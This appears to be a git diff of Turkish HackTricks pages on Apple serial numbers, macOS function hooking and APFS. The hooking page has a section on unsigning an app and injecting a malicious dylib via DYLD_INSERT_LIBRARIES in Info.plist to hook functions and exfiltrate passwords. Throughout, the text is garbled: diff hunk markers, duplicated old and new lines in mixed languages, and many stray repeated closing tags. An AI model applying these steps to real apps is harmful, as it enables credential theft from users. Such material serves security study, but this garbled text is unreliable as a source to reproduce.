2010 sonrası Apple cihazları, her biri belirli bilgileri ileten **12 alfanümerik karakterden** oluşan seri numaralarına sahiptir:
- **İlk 3 Karakter**: **Üretim yeri**ni gösterir.
- **4. ve 5. Karakterler**: **Üretim yılını ve haftasını** belirtir.
- **6 ila 8. Karakterler**: Her cihaz için **benzersiz bir tanımlayıcı** olarak hizmet eder.
- **Son 4 Karakter**: **Model numarasını** belirtir.
- **İlk 3 Karakter**: **üretim yerini** gösterir.
- **Karakterler 4 & 5**: **üretim yılı ve haftasını** belirtir.
- **Karakterler 6'dan 8'e**: Her cihaz için **benzersiz bir tanımlayıcı** olarak hizmet eder.
- **Son 4 Karakter**: **model numarasını** belirtir.
Örneğin, seri numarası **C02L13ECF8J2** bu yapıyı takip eder.
### **Üretim Yerleri (İlk 3 Karakter)**
Bazı kodlar belirli fabrikaları temsil eder:
- **FC, F, XA/XB/QP/G8**: ABD'deki çeşitli konumlar.
Belirli kodlar, belirli fabrikaları temsil eder:
- **FC, F, XA/XB/QP/G8**: ABD'deki çeşitli yerler.
- **RN**: Meksika.
- **CK**: Cork, İrlanda.
- **VM**: Foxconn, Çek Cumhuriyeti.
@ -36,36 +47,47 @@ Bazı kodlar belirli fabrikaları temsil eder:
- **MB**: Malezya.
- **PT/CY**: Kore.
- **EE/QT/UV**: Tayvan.
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Çin'deki farklı konumlar.
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Çin'deki farklı yerler.
- **C0, C3, C7**: Çin'deki belirli şehirler.
- **RM**: Yenilenmiş cihazlar.
### **Üretim Yılı (4. Karakter)**
Bu karakter 'C' (2010'un ilk yarısını temsil eder) ile 'Z' (2019'un ikinci yarısı) arasında değişir ve farklı harfler farklı yarı yıl dönemlerini gösterir.
Bu karakter 'C' (2010'un ilk yarısını temsil eder) ile 'Z' (2019'un ikinci yarısı) arasında değişir; farklı harfler farklı yarı yıl dönemlerini gösterir.
### **Üretim Haftası (5. Karakter)**
Rakamlar 1-9, haftaları 1-9'a karşılık gelir. C-Y harfleri (ünlü harfler ve 'S' harfi hariç) 10-27 haftalarını temsil eder. Yılın ikinci yarısı için bu sayıya 26 eklenir.
1-9 rakamları 1-9 haftalarına karşılık gelir. C-Y harfleri (sesli harfler ve 'S' hariç) 10-27 haftalarını temsil eder. Yılın ikinci yarısı için bu sayıya 26 eklenir.
### **Benzersiz Tanımlayıcı (6 ila 8. Karakterler)**
Bu üç rakam, aynı model ve partiden olan her cihazın farklı bir seri numarasına sahip olmasını sağlar.
### **Model Numarası (Son 4 Karakter)**
Bu rakamlar cihazın belirli modelini tanımlar.
### Referans
* [https://beetstech.com/blog/decode-meaning-behind-apple-serial-number](https://beetstech.com/blog/decode-meaning-behind-apple-serial-number)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
{% endhint %}
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# macOS Fonksiyon Hooking
# macOS Function Hooking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Fonksiyon Interposing
## Function Interposing
Bir **dylib** oluşturun ve **`__interpose`** bölümü (veya **`S_INTERPOSING`** ile işaretlenmiş bir bölüm) içeren **fonksiyon işaretçileri**nden oluşan demetler oluşturun. Bu demetler, **orijinal** ve **değiştirme** fonksiyonlarına işaret eder.
Bir **dylib** oluşturun ve **`__interpose`** bölümüne (veya **`S_INTERPOSING`** ile işaretlenmiş bir bölüme) **orijinal** ve **değiştirilmiş** fonksiyonlara atıfta bulunan **fonksiyon işaretçileri** çiftleri ekleyin.
Ardından, dylib'i **`DYLD_INSERT_LIBRARIES`** ile **enjekte edin** (interposing, ana uygulama yüklenmeden önce gerçekleşmelidir). Açıkçası, [**`DYLD_INSERT_LIBRARIES`** kullanımına uygulanan **kısıtlamalar** burada da geçerlidir](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
Ardından, **`DYLD_INSERT_LIBRARIES`** ile dylib'i **enjekte** edin (interposing, ana uygulama yüklenmeden önce gerçekleşmelidir). Açıkça, [**`DYLD_INSERT_LIBRARIES`** kullanımına uygulanan **kısıtlamalar** burada da geçerlidir](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
### printf'i Interpose Et
### Interpose printf
{% tabs %}
{% tab title="interpose.c" %}
@ -46,7 +47,7 @@ __attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned lon
{% endcode %}
{% endtab %}
{% tab title="merhaba.c" %}
{% tab title="hello.c" %}
```c
//gcc hello.c -o hello
#include <stdio.h>
@ -56,54 +57,9 @@ printf("Hello World!\n");
return 0;
}
```
{% endtab %}
{% tab title="interpose2.c" %}
```c
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
// Function pointer type for the original function
typedef int (*orig_open_type)(const char *pathname, int flags);
// Function pointer type for the interposed function
typedef int (*interposed_open_type)(const char *pathname, int flags);
// Define the interposed function
int interposed_open(const char *pathname, int flags) {
printf("Interposed open called with pathname: %s\n", pathname);
// Call the original function
orig_open_type orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
return orig_open(pathname, flags);
}
// Constructor function to register the interposed function
__attribute__((constructor))
void interpose_open() {
printf("Interposing open function\n");
// Get the handle to the dynamic linker
void *handle = dlopen(NULL, RTLD_NOW);
// Get the address of the original function
orig_open_type orig_open = (orig_open_type)dlsym(handle, "open");
// Get the address of the interposed function
interposed_open_type interposed_open = (interposed_open_type)interposed_open;
// Replace the original function with the interposed function
if (orig_open && interposed_open) {
printf("Replacing open function\n");
interposed_open = orig_open;
}
// Close the handle to the dynamic linker
dlclose(handle);
}
```
Bu örnek, `open` işlevini interpose eden bir C programıdır. İnterpose edilen işlev, `open` işlevini çağıran ve çağrılan dosya yolunu yazdıran bir işlevdir. İnterpose edilen işlev, `dlsym` işlevi kullanılarak orijinal işlevin adresini alır ve ardından bu adresi kullanarak orijinal işlevi çağırır. İnterpose edilen işlev, `dlopen` işlevi kullanılarak dinamik bağlayıcının tutamağını alır ve ardından orijinal işlevin adresini alır. Son olarak, orijinal işlevin yerine interpose edilen işlev atanır.
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
@ -136,23 +92,23 @@ Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## Yöntem Swizzling
## Method Swizzling
ObjectiveC'de bir yöntem şu şekilde çağrılır: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
ObjectiveC'de bir metod şu şekilde çağrılır: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
**Nesne**, **yöntem** ve **parametreler** gereklidir. Ve bir yöntem çağrıldığında bir **mesaj gönderilir** ve bunun için **`objc_msgSend`** fonksiyonu kullanılır: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
**nesne**, **metod** ve **parametreler** gereklidir. Ve bir metod çağrıldığında **msg gönderilir** ve bu işlem **`objc_msgSend`** fonksiyonu kullanılarak yapılır: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
Nesne **`someObject`**, yöntem **`@selector(method1p1:p2:)`** ve argümanlar **value1**, **value2**'dir.
Nesne **`someObject`**, metod **`@selector(method1p1:p2:)`** ve argümanlar **value1**, **value2**'dir.
Nesne yapılarına göre, yöntemlerin **isimlerine** ve **yöntem kodunun işaretçilerine** ulaşmak mümkündür.
Nesne yapıları takip edilerek, **isimlerin** ve metod koduna ait **işaretçilerin** bulunduğu bir **metodlar dizisine** ulaşmak mümkündür.
{% hint style="danger" %}
Yöntemler ve sınıflar isimlerine göre erişildiği için bu bilgiler ikili dosyada saklanır, bu yüzden `otool -ov </path/bin>` veya [`class-dump </path/bin>`](https://github.com/nygard/class-dump) ile geri alınabilir.
Metodlar ve sınıflar isimlerine göre erişildiğinden, bu bilginin ikili dosyada saklandığını unutmayın, bu nedenle `otool -ov </path/bin>` veya [`class-dump </path/bin>`](https://github.com/nygard/class-dump) ile geri alınması mümkündür.
{% endhint %}
### Ham yöntemlere erişim
### Ham metodlara erişim
Aşağıdaki örnekte olduğu gibi yöntemlerin isimleri, parametre sayısı veya adres gibi bilgilere erişmek mümkündür:
Aşağıdaki örnekte olduğu gibi, metodların adı, parametre sayısı veya adresi gibi bilgilerine erişmek mümkündür:
```objectivec
// gcc -framework Foundation test.m -o test
@ -218,12 +174,12 @@ NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
### method\_exchangeImplementations ile Method Swizzling
### Method Swizzling with method\_exchangeImplementations
**method\_exchangeImplementations** fonksiyonu, bir fonksiyonun **uygulamasının adresini diğerine değiştirmeyi** sağlar.
Fonksiyon **`method_exchangeImplementations`**, **bir fonksiyonun** **uygulama adresini** **diğeriyle değiştirmeye** olanak tanır.
{% hint style="danger" %}
Bu nedenle bir fonksiyon çağrıldığında **çalıştırılan diğer fonksiyondur**.
Bu nedenle bir fonksiyon çağrıldığında **çalıştırılan diğeri**dir.
{% endhint %}
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
@ -269,16 +225,16 @@ return 0;
}
```
{% hint style="warning" %}
Bu durumda, **meşru** yöntemin **uygulama kodu** **yöntem adını doğrularsa**, bu swizzling'i **tespit edebilir** ve çalışmasını engelleyebilir.
Bu durumda, eğer **meşru** metodun **uygulama kodu** **metod** **adını** **doğruluyorsa**, bu swizzling'i **tespit** edebilir ve çalışmasını engelleyebilir.
Aşağıdaki teknikte bu kısıtlama yoktur.
Aşağıdaki teknik bu kısıtlamaya sahip değildir.
{% endhint %}
### method\_setImplementation ile Yöntem Swizzling
### Method Swizzling with method\_setImplementation
Önceki format garip çünkü bir yöntemin uygulamasını diğerine değiştiriyorsunuz. **`method_setImplementation`** fonksiyonunu kullanarak bir yöntemin uygulamasını diğerinin uygulamasıyla değiştirebilirsiniz.
Önceki format garip çünkü bir metodun uygulamasını diğerinin üzerine değiştiriyorsunuz. **`method_setImplementation`** fonksiyonunu kullanarak bir **metodun uygulamasını diğerinin** üzerine **değiştirebilirsiniz**.
Sadece, yeni uygulamadan önce orijinalinin uygulama adresini saklamayı unutmayın, çünkü daha sonra o adresi bulmak çok daha karmaşık olacaktır.
Sadece, **orijinal olanın uygulama adresini saklamayı** unutmayın, eğer onu yeni uygulamadan çağıracaksanız, çünkü daha sonra o adresi bulmak çok daha karmaşık olacaktır.
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
@ -330,17 +286,17 @@ return 0;
}
}
```
## Hooking Saldırı Metodolojisi
## Hooking Attack Methodology
Bu sayfada, fonksiyonları kancalamak için farklı yöntemler tartışıldı. Ancak, bunlar **saldırı yapmak için işlem içinde kod çalıştırmayı** gerektiriyordu.
Bu sayfada fonksiyonları hooklamak için farklı yollar tartışıldı. Ancak, bunlar **saldırı için süreç içinde kod çalıştırmayı** içeriyordu.
Bunu yapmak için kullanılabilecek en kolay teknik, [Dyld aracılığıyla çevre değişkenleri veya kaçırma](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md) enjekte etmektir. Bununla birlikte, bunun aynı zamanda [Dylib işlem enjeksiyonu](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port) yoluyla da yapılabilmesi mümkündür.
Bunu yapmak için en kolay teknik, bir [Dyld'yi ortam değişkenleri aracılığıyla veya kaçırarak](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md) enjekte etmektir. Ancak, bunun [Dylib süreç enjeksiyonu](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port) aracılığıyla da yapılabileceğini düşünüyorum.
Ancak, her iki seçenek de **korumasız** ikili/işlemlerle **sınırlıdır**. Sınırlamalar hakkında daha fazla bilgi edinmek için her tekniği kontrol edin.
Ancak, her iki seçenek de **korumasız** ikili/dizilerle **sınırlıdır**. Sınırlamalar hakkında daha fazla bilgi edinmek için her tekniği kontrol edin.
Ancak, bir fonksiyon kancalama saldırısı çok spesifik bir saldırıdır, bir saldırgan bunu yaparak bir işlem içinden **hassas bilgileri çalmayı** amaçlar (aksi takdirde bir işlem enjeksiyon saldırısı yapardınız). Ve bu hassas bilgiler, MacPass gibi kullanıcı tarafından indirilen Uygulamalar içinde bulunabilir.
Ancak, bir fonksiyon hooklama saldırısı çok spesifiktir, bir saldırgan bunu **bir süreçten hassas bilgileri çalmak için** yapar (aksi takdirde sadece bir süreç enjeksiyonu saldırısı yapardınız). Ve bu hassas bilgiler, MacPass gibi kullanıcı tarafından indirilen uygulamalarda bulunabilir.
Bu nedenle, saldırganın vektörü, ya bir zafiyet bulmak ya da uygulamanın imzasını kaldırmak, uygulamanın Info.plist dosyasına **`DYLD_INSERT_LIBRARIES`** çevre değişkenini enjekte etmek olacaktır. Buna benzer bir şey eklemek:
Bu nedenle, saldırgan vektörü ya bir zafiyet bulmak ya da uygulamanın imzasını kaldırmak, uygulamanın Info.plist dosyasına **`DYLD_INSERT_LIBRARIES`** env değişkenini ekleyerek bir şeyler enjekte etmek olacaktır:
```xml
<key>LSEnvironment</key>
<dict>
@ -348,7 +304,7 @@ Bu nedenle, saldırganın vektörü, ya bir zafiyet bulmak ya da uygulamanın im
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
ve ardından uygulamayı **yeniden kaydetmek**:
ve ardından **yeniden kaydet** uygulamayı:
{% code overflow="wrap" %}
```bash
@ -356,10 +312,10 @@ ve ardından uygulamayı **yeniden kaydetmek**:
```
{% endcode %}
Bu kütüphaneye, bilgileri dışarı çıkarmak için kancalama kodunu ekleyin: Şifreler, mesajlar...
O kütüphaneye bilgileri dışarı aktarmak için hooking kodunu ekleyin: Parolalar, mesajlar...
{% hint style="danger" %}
Yeni macOS sürümlerinde, uygulama ikili dosyasının imzasını **kaldırırsanız** ve daha önce çalıştırılmışsa, macOS artık uygulamayı **çalıştırmayacaktır**.
Yeni macOS sürümlerinde, eğer uygulama ikili dosyasının **imzasını kaldırırsanız** ve daha önce çalıştırılmışsa, macOS **uygulamayı bir daha çalıştırmayacaktır**.
{% endhint %}
#### Kütüphane örneği
@ -402,16 +358,17 @@ real_setPassword = method_setImplementation(real_Method, fake_IMP);
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,46 +1,81 @@
# macOS AppleFS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'a katılın!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** katkıda bulunun.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Apple Özel Dosya Sistemi (APFS)
## Apple'a Ait Dosya Sistemi (APFS)
**Apple Dosya Sistemi (APFS)**, Hiyerarşik Dosya Sistemi Plus (HFS+) yerine geçmek üzere tasarlanmış modern bir dosya sistemidir. Geliştirilmesi, **daha iyi performans, güvenlik ve verimlilik** ihtiyacıyla gerçekleştirilmiştir.
**Apple Dosya Sistemi (APFS)**, Hiyerarşik Dosya Sistemi Artı (HFS+) yerine geçmek üzere tasarlanmış modern bir dosya sistemidir. Geliştirilmesi, **geliştirilmiş performans, güvenlik ve verimlilik** ihtiyacından kaynaklanmıştır.
APFS'nin bazı dikkate değer özellikleri şunlardır:
APFS'nin bazı dikkat çekici özellikleri şunlardır:
1. **Alan Paylaşımı**: APFS, birden fazla birimin **aynı fiziksel cihaz üzerindeki boş depolama alanını paylaşmasına** olanak tanır. Bu, birimlerin manuel yeniden boyutlandırma veya yeniden bölümlendirme gerektirmeden dinamik olarak büyüyüp küçülmesine olanak sağlayarak daha verimli alan kullanımını sağlar.
1. Bu, dosya disklerindeki geleneksel bölümlerle karşılaştırıldığında, **APFS'de farklı bölümlerin (birimlerin) tüm disk alanını paylaştığı** anlamına gelir, oysa normal bir bölüm genellikle sabit bir boyuta sahiptir.
2. **Anlık Görüntüler**: APFS, dosya sisteminin **salt okunur, zaman içindeki anlık örneklerini oluşturmayı** destekler. Anlık görüntüler, minimal ek depolama tüketimiyle verimli yedeklemeler ve kolay sistem geri dönüşleri sağlar ve hızlı bir şekilde oluşturulabilir veya geri alınabilir.
3. **Klonlar**: APFS, **aynı depolama alanını paylaşan dosya veya dizin klonları oluşturabilir**. Bu özellik, depolama alanını kopyalamadan dosya veya dizin kopyaları oluşturmanın verimli bir yolunu sağlar.
4. **Şifreleme**: APFS, veri güvenliğini artıran **tam disk şifrelemesini** ve dosya veya dizin bazında şifrelemeyi doğal olarak destekler.
5. **Çökme Koruması**: APFS, dosya sistemi tutarlılığını sağlayan **kopyala-yaz metadata şemasını** kullanır, böylece ani güç kaybı veya sistem çökmeleri durumunda bile veri bozulma riskini azaltır.
1. **Alan Paylaşımı**: APFS, bir fiziksel cihazda **aynı temel boş depolamayı paylaşan birden fazla hacme** izin verir. Bu, hacimlerin manuel yeniden boyutlandırma veya yeniden bölümleme gerektirmeden dinamik olarak büyüyüp küçülmesine olanak tanıyarak daha verimli alan kullanımını sağlar.
1. Bu, dosya disklerindeki geleneksel bölümlerle karşılaştırıldığında, **APFS'de farklı bölümlerin (hacimlerin) tüm disk alanını paylaştığı** anlamına gelir; oysa normal bir bölüm genellikle sabit bir boyuta sahipti.
2. **Anlık Görüntüler**: APFS, **okunabilir** olan, dosya sisteminin belirli bir zamandaki anlık görüntülerini **oluşturmayı destekler**. Anlık görüntüler, minimal ek depolama alanı tüketerek verimli yedeklemeler ve kolay sistem geri yüklemeleri sağlar ve hızlı bir şekilde oluşturulabilir veya geri alınabilir.
3. **Klonlar**: APFS, **orijinal dosya ile aynı depolamayı paylaşan dosya veya dizin klonları oluşturabilir**; bu, ya klon ya da orijinal dosya değiştirilene kadar geçerlidir. Bu özellik, depolama alanını çoğaltmadan dosya veya dizinlerin kopyalarını oluşturmanın verimli bir yolunu sunar.
4. **Şifreleme**: APFS, **tam disk şifrelemesini** yanı sıra dosya ve dizin başına şifrelemeyi de **yerel olarak destekler**, bu da farklı kullanım senaryolarında veri güvenliğini artırır.
5. **Çökme Koruması**: APFS, ani güç kaybı veya sistem çökmesi durumlarında dosya sistemi tutarlılığını sağlamak için **yazma sırasında kopyalama meta veri şemasını** kullanır ve veri bozulma riskini azaltır.
Genel olarak, APFS, Apple cihazları için daha modern, esnek ve verimli bir dosya sistemi sunar ve performans, güvenilirlik ve güvenlik konularına odaklanır.
Genel olarak, APFS, Apple cihazları için daha modern, esnek ve verimli bir dosya sistemi sunar ve geliştirilmiş performans, güvenilirlik ve güvenliğe odaklanır.
```bash
diskutil list # Get overview of the APFS volumes
```
## Firmlinks
`Data` birimi **`/System/Volumes/Data`** konumuna bağlanır (bunu `diskutil apfs list` komutuyla kontrol edebilirsiniz).
`Data` hacmi **`/System/Volumes/Data`** dizinine monte edilmiştir (bunu `diskutil apfs list` ile kontrol edebilirsiniz).
Firmlink'lerin listesi **`/usr/share/firmlinks`** dosyasında bulunabilir.
Firmlinklerin listesi **`/usr/share/firmlinks`** dosyasında bulunabilir.
```bash
cat /usr/share/firmlinks
/AppleInternal AppleInternal
/Applications Applications
/Library Library
[...]
```
**Sol tarafta**, **Sistem birimindeki** dizin yolunu ve **sağ tarafta**, **Veri birimindeki** eşleştiği dizin yolunu görebilirsiniz. Yani, `/library` --> `/system/Volumes/data/library`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}

View file

@ -1,86 +1,88 @@
# x64'ün Tanıtımı
